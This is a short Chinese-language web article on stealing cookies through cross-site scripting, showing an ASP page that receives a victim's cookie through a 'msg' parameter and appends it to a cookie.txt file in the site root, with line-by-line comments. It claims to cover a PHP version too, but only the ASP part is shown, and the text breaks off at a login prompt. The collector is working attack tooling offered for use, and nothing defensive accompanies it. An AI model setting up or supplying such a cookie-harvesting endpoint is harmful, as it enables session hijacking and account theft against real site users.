XSS获取cookie和利用方式 (ASP版)
来源:本站转载 作者:佚名 时间:2014-03-04 TAG: 我要投稿
此篇文章记录了PHP和ASP两个版本的cookie获取代码。
ASP篇
<html>
<title>xx</title>
<body>
<%testfile = Server.MapPath("cookie.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的cookie.txt路径,保存在testfile中
msg = Request("msg") //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject("scripting.filesystemobject")//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg&"")//像cookie.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%>
本内容试读结束,登录后可阅读更多
下载后可阅读完整内容,剩余1页未读,立即下载